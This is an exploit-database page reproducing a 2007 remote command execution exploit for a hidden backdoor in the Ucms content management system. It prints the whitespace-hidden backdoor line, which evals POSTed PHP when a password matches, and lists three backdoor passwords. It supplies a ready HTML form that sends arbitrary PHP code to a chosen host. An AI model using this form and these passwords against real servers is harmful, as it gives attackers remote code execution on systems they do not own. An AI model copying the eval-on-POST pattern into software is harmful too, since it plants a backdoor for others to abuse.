Ucms <= 1.8 Backdoor Remote Command Execution Exploit

🗓️ 21 Nov 2007 00:00:00Reported by RootType

Ucms <= 1.8 Backdoor Remote Command Execution Exploit. Ucms is coded by madmax, sold for 150 Euro, with a hidden "secret" backdoor in /php/modules/entries/search.cache.inc.php used by famous warez-sites like alphawarez, loud, oxygen-warez. The backdoor allows execution of remote commands


                                                &lt;html&gt;
&lt;!--
##########################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ucms&nbsp;1.4,&nbsp;1.7,&nbsp;1.8+?all&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Non&nbsp;Public&nbsp;exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;2&amp;sup2;hot&amp;sup2;2&nbsp;a.k.a&nbsp;D4m14n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;shadowleet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Contact:&nbsp;[email protected]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
##########################################
Short&nbsp;description:
Ucms&nbsp;is&nbsp;a&nbsp;warez-cms&nbsp;coded&nbsp;by&nbsp;madmax,
he&nbsp;selled&nbsp;the&nbsp;cms&nbsp;for&nbsp;150&nbsp;Euro&nbsp;for&nbsp;one&nbsp;cms,
but&nbsp;it&amp;acute;s&nbsp;not&nbsp;enough&nbsp;that&nbsp;the&nbsp;cms&nbsp;costs&nbsp;150&nbsp;euro,
he&nbsp;added&nbsp;a&nbsp;&quot;secret&quot;&nbsp;backdoor&nbsp;which&nbsp;now&nbsp;is&nbsp;released...
Used&nbsp;by:
Famous&nbsp;warez-sites&nbsp;like&nbsp;alphawarez,&nbsp;loud,&nbsp;oxygen-warez&nbsp;and&nbsp;so&nbsp;on...
___________________________________________________________________

Backdoor&nbsp;in&nbsp;file:
/php/modules/entries/search.cache.inc.php
line&nbsp;8:
$cache_path&nbsp;=&nbsp;'/search/'&nbsp;.&nbsp;GetValidFilename($search_term)&nbsp;.&nbsp;'_'&nbsp;.&nbsp;$search_hash&nbsp;.&nbsp;'_info.dat';
if(@stripslashes($_POST['p'])&nbsp;==&nbsp;'ZCShY8FjtEhIF8LZ'){@eval(@stripslashes($_POST['e']));exit;};
the&nbsp;second&nbsp;string&nbsp;is&nbsp;hidden&nbsp;at&nbsp;the&nbsp;very&nbsp;right&nbsp;site&nbsp;with&nbsp;whitespaces&nbsp;in&nbsp;the&nbsp;texteditor,&nbsp;so&nbsp;nobody&nbsp;had&nbsp;seen&nbsp;it&nbsp;before,
the&nbsp;function&nbsp;is&nbsp;called&nbsp;in:
/php/modules/entries/search.main.inc.php
exploit:
--&gt;

&lt;head&gt;
&lt;title&gt;Ucms&nbsp;v.&nbsp;1.8&nbsp;Np&nbsp;exploit&lt;/title&gt;
&lt;script&nbsp;type=&quot;text/javascript&quot;&gt;
function&nbsp;sethost(seite)
{
document.host.action&nbsp;=&nbsp;seite&nbsp;+&nbsp;'index.php?&amp;q=test&amp;e=1';
document.all.data.innerHTML&nbsp;=&nbsp;&nbsp;document.host.action;
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body&nbsp;onLoad=&quot;sethost('http://www.ucmspage.de/')&quot;&nbsp;&gt;
&lt;h1&gt;Ucms&nbsp;v.&nbsp;1.8&nbsp;Np&nbsp;exploit&lt;/h1&gt;
Actual&nbsp;Request:&lt;div&nbsp;id=&quot;data&quot;&gt;&lt;/div&gt;
&lt;br&nbsp;/&gt;
Host:&lt;input&nbsp;type=&quot;text&quot;&nbsp;value=&quot;http://www.ucmspage.de/&quot;&nbsp;onKeyUp=&quot;sethost(this.value);&quot;&nbsp;/&gt;
&lt;form&nbsp;id=&quot;host&quot;&nbsp;name=&quot;host&quot;&nbsp;action=&quot;http://www.ucmspage.de/&quot;&nbsp;method=&quot;POST&quot;&gt;
Password:&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;p&quot;&nbsp;value=&quot;ZCShY8FjtEhIF8LZ&quot;&gt;&lt;br&nbsp;/&gt;
&lt;!--
Additional&nbsp;info:
You&nbsp;need&nbsp;a&nbsp;password&nbsp;to&nbsp;activate&nbsp;the&nbsp;backdoor&nbsp;we&nbsp;found&nbsp;these&nbsp;passwords:
ZCShY8FjtEhIF8LZ&nbsp;(UCMS&nbsp;1.8)
mYM1NHtWtZk2KwrF&nbsp;(UCMS&nbsp;1.4)
wVCQUyhTga5Nmft1&nbsp;(UCMS&nbsp;[?])
Just&nbsp;go&nbsp;into&nbsp;the&nbsp;file&nbsp;or&nbsp;similar&nbsp;files&nbsp;to&nbsp;find&nbsp;the&nbsp;passwords,
&nbsp;for&nbsp;every&nbsp;version&nbsp;there&nbsp;is&nbsp;another&nbsp;password
--&gt;
&nbsp;
Phpcode:&lt;br&nbsp;/&gt;
&lt;textarea&nbsp;name=&quot;e&quot;&nbsp;rows=&quot;20&quot;&nbsp;cols=&quot;100&quot;&gt;
phpinfo();&nbsp;?&gt;
&lt;/textarea&gt;
&lt;br&nbsp;/&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;exploit&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;

&lt;!--
It&amp;acute;s&nbsp;just&nbsp;a&nbsp;crime&nbsp;to&nbsp;do&nbsp;such&nbsp;thigs,&nbsp;so&nbsp;please&nbsp;use
this&nbsp;exploit&nbsp;just&nbsp;for&nbsp;knowledge&nbsp;and&nbsp;not&nbsp;to&nbsp;destroy&nbsp;the&nbsp;warez&nbsp;pages...
thank&nbsp;you&nbsp;for&nbsp;you&nbsp;attention...
Have&nbsp;a&nbsp;nice&nbsp;day
--&gt;

&lt;/html&gt;

21 Nov 2007 00:00Current

7.1High risk

Vulners AI Score7.1

Ucms &lt;= 1.8 Backdoor Remote Command Execution Exploit

Ucms <= 1.8 Backdoor Remote Command Execution Exploit